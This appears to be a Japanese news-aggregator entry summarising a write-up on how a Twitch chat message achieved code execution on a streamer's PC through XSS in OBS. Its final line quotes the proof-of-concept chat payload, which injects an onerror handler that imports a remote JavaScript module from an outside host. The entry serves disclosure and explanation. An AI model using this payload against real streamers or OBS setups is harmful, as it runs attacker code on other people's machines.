HN152
たった一行のTwitchチャットがPCのコード実行を招く？驚きの脆弱性を徹底解説
How one Twitch chat message became code execution on a streamer’s PC
tau255・2日前
議論
3件Twitchのチャット欄に書き込まれた何気ないメッセージが、実はストリーマーのPCで勝手にコードを実行させてしまう重大な脆弱性に繋がっていたとしたら？この記事では、チャット経由の入力がどのようにシステム侵害へと発展したのか、その技術的な仕組みと驚きの攻撃手法を分かりやすく解説します。
要約：メッセージ経由のOBSでのXSS。
!image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a